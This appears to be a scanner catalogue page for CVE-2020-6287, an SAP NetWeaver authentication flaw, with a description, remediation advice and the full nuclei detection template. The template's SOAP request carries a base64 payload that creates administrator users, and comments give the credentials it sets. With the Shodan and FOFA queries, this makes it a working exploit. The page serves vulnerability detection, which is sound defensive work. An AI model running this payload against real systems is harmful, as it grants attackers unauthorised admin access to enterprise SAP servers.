SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

10CVSS score

94.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system.

Impact

Successful exploitation of this vulnerability allows an attacker to gain unauthorized administrative access to the SAP system.

Fix

Apply the relevant SAP Security Note or patch provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /CTCWebService/CTCWebServiceBean/ConfigServlet
Positive when: contains "CTCWebServiceSi" and "SOAP-ENV" AND contains in header "text/xml" or "SAP NetWeaver Application Server" AND status 200

Run it with nuclei: nuclei -id CVE-2020-6287 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-6287

info:
  name: SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition
  author: dwisiswant0
  severity: critical
  description: SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to gain unauthorized administrative access to the SAP system.
  remediation: |
    Apply the relevant SAP Security Note or patch provided by the vendor to mitigate this vulnerability.
  reference:
    - https://launchpad.support.sap.com/#/notes/2934135
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
    - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
    - https://github.com/chipik/SAP_RECON
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-6287
    cwe-id: CWE-306
    epss-score: 0.94719
    epss-percentile: 0.99858
    cpe: cpe:2.3:a:sap:netweaver_application_server_java:7.30:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: netweaver_application_server_java
    shodan-query: http.favicon.hash:-266008933
    fofa-query: icon_hash=-266008933
  tags: cve,cve2020,sap,kev,vkev,vuln

http:
  - raw:
      - |
        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
          CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
        </baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CTCWebServiceSi"
          - "SOAP-ENV"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "SAP NetWeaver Application Server"

      - type: status
        status:
          - 200

# userName - sapRpoc6351
# password - Secure!PwD8890

References

Use this check only on systems you are authorised to test. Where the data comes from